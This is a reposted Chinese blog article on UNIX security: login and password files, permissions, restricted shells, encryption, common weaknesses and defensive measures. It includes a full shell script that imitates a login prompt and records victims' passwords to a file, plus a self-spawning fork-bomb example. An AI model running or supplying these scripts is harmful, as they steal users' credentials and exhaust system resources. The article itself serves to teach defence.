UNIX系統安全(轉)

ba發表於2007-08-09
UNIX系統安全(轉)[@more@]UNIX系統是為支援多使用者而設計的, 故為多使用者提供了訪問機器的多種途徑, 同時也為使用者之間和多機之間通訊提供了多種工具, 然而在當今世界上出於各種目的, 未授權人員常常打入計算機系統. 當我們越來越依賴於UNIX機器以及機器中的檔案和資料時, 系統安全性也隨之變得越來越重要, 雖然可以採取措施阻止非法訪問, 但是一種複雜作業系統的自然趨勢是時間越久安全性越差, 我們必須警惕安全性缺陷, 及時堵塞漏洞, 保護系統. 下面首先討論UNIX的安全保護機制, 然後探討一些不安全的因素, 最後提出相應的安全措施.

I. UNIX的安全保護機制
1. 註冊標識和口令
UNIX系統中, 安全性方法的核心是每個使用者的註冊標識(loginid)和口令
(password). 要成功註冊進入UNIX系統, 必須打入有效的使用者標識, 一般還必須輸入正確的口令. 口令是以加密形式存放在/etc/passwd檔案中, 每個使用者佔一行, 另外幾個系統正常工作所必需的標準系統標識也佔一行. 每行由幾個以冒號(:)分隔的域組成: 域1是使用者標識, 域2是口令, 域3是使用者標識數, 域4是使用者組標識, 域5是註釋, 域6是使用者主目錄, 最後一個域是使用者註冊shell的路徑全名(預設為/bin/sh).

%cat/etc/passws
root:Y0q0Fr68KMP8U:0:1:'[]':/:/bin/csh
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
sync::1:1::/:/bin/sync
wwm:66XGDZDOR4Fjq:349:349:Wei wei ming:/pc/wwm:/bin/csh
+::0:0:::

早期UNIX版本中, 域2以加密形式放置使用者的實際口令. 而SVR3的近期版
本卻引入了一個僅含加密後口令的檔案即/etc/shadow. 它存放每個使用者的標識及加密後的口令, 描述最後一次修改口令的時間, 允許修改口令的最早期限和必須修改口令的最晚期限. /etc/shadow中的行與/etc/passwd中的行對應./etc/shadow檔案由命令pwconv生成. 手工修改/etc/passwd檔案後, 必須立即執行pwconv, 保證/etc/shadow按照剛進行過的修改更新. 只有超級使用者可對/etc/passwd和/etc/shadow進行修改.
另外, 有些UNIX版本還顯示最近一次使用使用者標識的情況. 註冊時顯示:

login : wwm
password:

Login last used : Fri Aug 7 22:24:41 CDT 1993

如果顯示時間晚於使用者記憶中自己最近使用的時間, 則該標識就被別人佔
用過了, 該使用者應立即修改口令.命令passwd改變口令, 一個口令至少要有6個字元長, 其中至少一個(最好兩個)是非字母符號, 最好大小寫混用和採用超常或非直覺字元序列, 不能容忍的平凡口令是使用者的註冊標識, 工程專案名, 地名或電話號碼等.

2. 檔案許可權
檔案安全是作業系統安全最重要的部分, UNIX系統每一檔案都有一系列控
制資訊決定了不同的使用者對該檔案的訪問許可權. 下面是檔案的許可權位格式:
U G T R W X/S R W X/S R W X/S
| | | 使用者 同組 其他
調 調 粘
整 整 著 R: 讀 W: 寫 X/S : 執行/搜尋
主 組 位

它們由四個八進位制陣列成: 第一個八進位制數是調整uid位, 調整gid位和粘
著位, 後面三個八進位制數分別表示檔案所有者, 同組使用者和其他使用者對該檔案的訪問許可權. 下面是命令ls -l的輸出形式:

drwxr-sr-x 3 root 512 Oct 14 1990 nserve
-rw-r--r-- 1 root 1145 Oct 14 1990 aliases
lrwxrwxrwx 1 root 10 Apr 27 14:18 adm->../var/adm
srw-rw-rw- 1 root 0 Apr 12 06:42 log
brw-rw-rw- 1 root 16, 0 Apr 27 14:47 fd0a
crw-rw-rw- 1 root 13, 0 Apr 27 14:47 mouse

命令ls-l輸出的左邊給出了檔案的訪問許可權或稱訪問方式, 其中最左邊位
含義為:

- 說明為普通檔案
l 說明為連結檔案
d 說明為目錄
p 先進先出特別檔案
b 說明為塊特別裝置檔案
c 說明為字元特別裝置檔案

系統提供了專門處理檔案和目錄的所屬關係和訪問許可權問題幾個命令:

chown: 可以將檔案所屬轉讓
chgrp: 改變檔案所屬小組
chmod: 改變檔案訪問許可權

3. 約束shell
標準shell提供使用者許多功能, 如使用者可在檔案系統中漫遊等, 然而幾乎
所有UNIX系統都提供另一個稱為rsh的shell, rsh是標準shell的一個子集:

. rsh規定目錄改變命令無效
. 包含字元"/", ">"和">>"的命令無效
. 不能改變檔案路徑變數$PATH的值等

但當rsh的使用者在執行一個shell程式時, rsh將呼叫標準shell全權執行程
序中的所有命令, 這時上述rsh的限制將不起作用. 因此, 更靈活的限制手段是由系統管理員編制一個專用的shell程式, 取代標準shell程式, 使用者註冊後即進入該shell, 程式執行終了時立即自動退出系統, 從而達到對一些使用者進行嚴格管理和限制的目的.

4. 檔案加密
正確的檔案許可權能限制非法使用者對檔案的訪問, 但不能排除一些高明的入
侵者和超級使用者讀取檔案.
ed, vi和emacs這類編輯程式選項-x提供一種生成並加密檔案的能力, 在
裝入時對檔案解密, 回寫時再加密.
UNIX系統還提供加密解密過濾程式crypt, 該命令從標準輸入讀, 向標準
輸出寫. 有的系統還提供DES命令, 遺憾的是人們對UNIX的加密演算法瞭解太深, 有一種打破crypt的程式是分析普通英語文字中和加密檔案中字元的出現頻率,因此, 過分相信檔案加密是危險的, 但我們可以在加密前用另一個過濾程式改變字元出現的頻率, 如用pack:

%pack example.txt
%cat example.txt.z | crypt >out.file

解密時要擴張(unpack)這一檔案, 另外壓縮後通常可節約佔原檔案20%到
40%的空間.

%cat out.file | crypt >example.txt.z
%unpack example.txt.z

當然, 將檔案寫軟盤或磁帶上, 刪除機器中的原檔案, 妥善保管磁介質是
最保險的方法.

II. 不安全的因素
1. 口令

由於UNIX允許使用者不設定口令, 因而非法使用者可透過/etc/passwd檔案查
出未使用口令的使用者(或者即使設定了口令, 卻洩露了出去), 盜用其名進入系統, 讀取或破壞該使用者的檔案.另外就是口令猜測程式了, 入侵者不斷地輸入可能的口令(或者由程式產生), 進行加密並和/etc/passwd檔案中的口令密文比較, 直到成功地獲得某一使用者的口令為止. 雖然這比較費時, 但由於使用者在選擇口令時的侷限性, 成功的例子還是很多的.

2. 檔案

我們正確設定檔案許可權, 某些設定可以增加檔案的不安全因素, 讓我們看
幾個設定了不正確許可權的檔案的例子:

-rwxrwxrwx 1 root 1496 Oct 14 1990 /bin/tty
drwxrwxrwx 7 bin 2048 Aug 7 07:57 etc
-rwsrwxrwx 1 root 8832 Oct 14 1990 /bin/df

命令/bin/tty任何使用者都有寫許可, 意謂著誰都可以直接修改此命令或用
另一檔案替換此命令, 這往往會造成嚴重的後果.目錄/etc對所有使用者有寫許可, 則任意使用者可修改或替換該目錄下的passwd檔案, 可以使超級使用者沒有口令, 從而以特權身份侵入系統./bin/df是調整uid的, 對該命令有寫許可, 則使用者可以用/bin/sh替換此df命令, 然後執行(實際是/bin/sh)即獲得超級使用者特權.
從以上例子可看出, 檔案的寫許可權往往是不安全的因素, 對於目錄和使用
調整位的檔案來說更是危險.

3. 特洛伊木馬
也許最隱蔽的不安全因素是特洛伊木馬, 它是獲得系統特權和使用者口令的
一種有效方法. 讓我們看下面例子:

#! /bin/sh
# trap V1.o 1992.3.28
# Function: Get the other user's password
# Usage: trap pid
if [ $# -ne 2 ]; then
echo "ERROR: invalid numbers of arguments"
echo "Usage: trap pid"
exit 1
fi
clear
# change interrupt character. The default is DEL.
stty instr +
while [ 1]
do
echo -n ":V& login: "
read username
if[ "$username" != "" ]; then
break
fi
done
stty -echo
echo -n "Password: "
read passwd
echo ""
echo $username $passwd >> /f/wwm/tmp/login
sleep 1
echo "Login incorrect"
stty echo
# reset default interrupt character DEL (^?).
stty intr
# logout yourself username.
kill -9 $1
# OK.

上面的shell程式偽裝成錄入程式, 非法使用者在某終端上執行該程式後走
開, 等待受騙者的到來, 就可輕易竊走該使用者的口令.
另外一些常見的情形是侵入者在某使用者的一個目錄下植入洛伊木馬程式,
一旦該使用者在此目錄下執行此程式, 侵入者便可以獲取該使用者許可權, 進而破壞使用者檔案, 如偽裝的pwd命令, ls命令和su命令等.

4. 裝置特殊檔案
UNIX系統的兩類裝置(塊裝置和字元裝置)被當作檔案看待, 稱為特別檔案, 都在/dev目錄下, 對於特別檔案的訪問, 事實上就訪問了物理裝置. 這些特別檔案是系統安全的一個重要方面.

1) 記憶體
對實體記憶體和系統虛空間, System V 提供了相應的檔案/dev/mem和/dev/kmem, mem是記憶體映象的一個特別檔案, 它可以用於檢驗(甚至修補)系統. 若該檔案使用者可改寫, 則可在其中植入洛伊木馬或透過讀取和改寫主存內容而竊取系統特權.

2) 塊裝置
由於檔案系統的操作自然牽涉到塊裝置的讀寫, UNIX System V對塊裝置
的管理分為三層, 最高層是與檔案系統的介面, 包括塊裝置的各種讀寫操作. 例如磁碟, 如果一旦對盤有訪問許可權, 就可以修改其上的檔案, UNIX允許安裝不同的盤作為檔案系統, 非法使用者可以透過安裝自己的軟盤作為檔案系統, 而其軟盤上有修改後的系統檔案, 如一些屬於root的setuid程式, 這樣他就可以安裝自己的檔案系統, 執行非法的setuid程式, 獲取更高的特權.

3) 字元裝置
例如終端裝置, 在UNIX中, 每個使用者都透過終端進入系統, 使用者對其錄入
的終端有讀寫許可權. 由於UNIX對檔案許可權的檢查往往只在開啟操作(open系統呼叫)時進行, 其後的操作往往不再檢查, 因此某些使用者進入系統後可以編寫一監測程式, 讀取其後使用者錄入該終端的輸入資訊.

5. 網路
UNIX的網路程式主要是uucp(UNIX to UNIX copy), uucp可以在UNIX系統
之間傳輸檔案和遠端執行命令. 由於歷史的原因, 它可能是UNIX系統中最不安全的部分.
一種情況是使用者可以使用uucp複製遠端系統的/etc/passwd檔案, 查出未
使用口令的使用者, 從而透過該使用者進入遠端系統; 另一種情形是在uucp機制中未加密的遠端uucp號的口令存在一個普通系統檔案/usr/lib/uucp/L.sys中, 非法使用者在竊取root許可權後透過讀取該檔案而獲得每一遠端uucp帳號的口令, 進而破壞遠端系統.

6. 其它
1) 郵件
在BSD, SUNOS等版本中, 實用程式/bin/mail首先呼叫mktemp()得到臨時
檔案, 然後判斷是發信還是讀信. mail程式在得到檔名後開啟檔案寫以前, mail程式可能會因為時間片用完而被迫放棄CPU, 這時其它程式佔據CPU後,可將某些重要的系統檔案與臨時檔案連結, 等到mail再次執行時, 它要寫入的臨時檔案實際上已變成系統檔案(如/etc/passwd), 這樣就可輕易篡改系統檔案.

2) 後臺命令
shell提供運算子&使使用者在後臺執行命令, UNIX系統允許使用者建任意多個
後臺程式, 直到系統核心內部說明的最大值, 但遠未達到這一極限之時, 系統效能即開始受損. 遺憾的是, 很多UNIX版本的ps命令不能很好地反映後臺程式的狀態. 下面是一個非常簡單的shell程式:

% cat call-self
call-self
% call-self &

投入後臺方式執行後, 將產生永無休止的程式, 即使是root也無法用kill
命令終止它, 只有直至系統崩潰. 如果按如下方式執行, 情況又將如何?

% cat call-self
call-self &
% call-self &

3) 任務排程
為使多程式都能夠公平訪問機器的單CPU, 作業系統內的分時機構必須在
某一程式耗盡應分享的CPU資源後切換至另一程式, UNIX提供了計時和排程工具, 如at和batch命令. 如果對授權使用者清單檔案/usr/lib/cron下的at.allow和at.deny檔案許可權設定不對, 未授權使用者可能就會對系統造成極大的破壞.另外, 還有如遊戲, 很多遊戲程式產生一些中間檔案, 有些病毒程式和入侵者就可能會從這些檔案侵入. 因此, 我們也必須對遊戲提高警惕.

III. 安全措施
1. 系統管理員
系統管理員擔負著維護整個系統安全的重要使命, 必須謹慎地管理系統:

1) 正確設定系統檔案和系統目錄的訪問許可權
2) 選擇root口令, 並定期更換. 認真確定root使用者組許可權, 制止不合法
使用者申請帳號
3) 經常檢查sulog檔案, 查詢可能的入侵者蹤跡
4) 檢查/usr/lib/crontab檔案內容, 防止有人蓄意破壞檔案系統或埋植
特洛伊木馬
5) 仔細認可使用者安裝自己的檔案系統
6) 對於網路環境:
. 防止資訊內容洩露
. 防止通訊量分析
. 檢查資訊源的修改
. 檢查裝置錯誤
. 檢查連線請求的冒充

2. 使用者
使用者要保證自己的資訊, 必須充分正確地運用安全保護機制:

1) 選擇好口令, 並儲存好, 定期更換
2) 仔細設定.profile, umask和PATH
3) 對重要正文使用加密, 並做好備份
4) 在透過終端錄入系統時, 最好先清一下終端, 防止有詐
5) 離開終端時, 一定要退出系統

總結
本文首先討論了UNIX系統的一些安全保護機制:
1.註冊標識和口令是UNIX系統安全性方法的核心;
2.檔案安全是作業系統安全最重要的部分, UNIX系統的每一檔案都有一系列控制資訊決定了不同的使用者對該檔案的訪問許可權;
3.約束SHELL規定標準SHELL的一些命令無效, 如改變路徑和重定向命令無效;
4.檔案加密是保護使用者重要檔案不被他人盜取的一種必要手段.

然後探討了一些不安全的因素:
1.口令, 非法使用者可透過未使用口令或口令洩密了的使用者註冊標識進入系統, 或者編寫口令猜測程式獲取其他使用者甚至超級使用者口令, 從而讀取或破壞使用者檔案;
2.檔案, 設定了不正確許可權的檔案是不安全的一個重要因素;
3.特洛伊木馬, 是獲取系統特權和使用者口令的一種有效方法, 也許是最隱蔽的不安全因素;
4.裝置特殊檔案, 包括塊裝置和字元裝置;
5.網路, 由於歷史的原因, 它可能是UNIX系統中最不安全的部分;
6.其它, 如郵件, 後臺命令, 任務排程和遊戲等.

最後提出了系統管理員和使用者必須採取的一些安全措施.

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617731/viewspace-939321/,如需轉載,請註明出處,否則將追究法律責任。

相關文章